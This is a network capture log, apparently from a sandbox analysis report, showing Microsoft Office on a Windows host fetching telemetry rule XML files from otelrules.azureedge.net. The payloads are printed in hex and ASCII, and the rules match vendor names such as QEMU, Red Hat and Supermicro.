2024-10-11 18:30:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:08 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a7f26d5f-201e-0096-3308-1cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183008Z-1597f696844fbtvxvfb7m9xkb0000000043g000000004ks8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:08 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	59013	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 53370353-c01e-0079-57de-1be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-r154656d9bc8ljwwac0k5w3kn8000000054g0000000037h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	59015	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0b82b7a4-c01e-008e-1ebf-1b7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-r154656d9bccndzcn7g69nf4gw00000002eg000000000mww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	59014	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a84dc0aa-d01e-002b-1b83-1b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-r154656d9bcbgl7txcdy78hpp400000002ug00000000h9re x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	59016	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: cda1fd3a-301e-0096-2fde-1ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-1597f696844nchg575aqhm8m1800000001rg00000000618u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	59017	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 24b55255-001e-0049-07ac-1b5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-1597f696844b28npvxxwfummdg000000024g000000006tv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	59018	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 76375c60-d01e-0014-2f02-1aed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-1597f696844zf5tbumkdu71prn00000004200000000003rr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	59019	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 2c65b6c1-101e-0079-26fb-195913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-1597f69684469lsz07pz1m8tt0000000015g00000000vdph x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	59020	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:09 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 69457385-001e-0034-42de-1add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183009Z-r154656d9bc5qmxtyvgyzcay0c0000000ntg000000016sys x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	59021	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:09 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4af073a2-101e-000b-39c4-185e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183010Z-r154656d9bcbgl7txcdy78hpp400000002q0000000016aaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	59022	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:10 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 75b6adf0-e01e-0020-0d4d-1ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183010Z-1597f696844vxsn8mvt69yd90000000003sg000000018t16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	59023	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:10 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:10 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 7d3f2e15-101e-00a2-5aca-1a9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183010Z-r154656d9bccmm6rkkqtqxp14n00000000sg00000000g2nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S 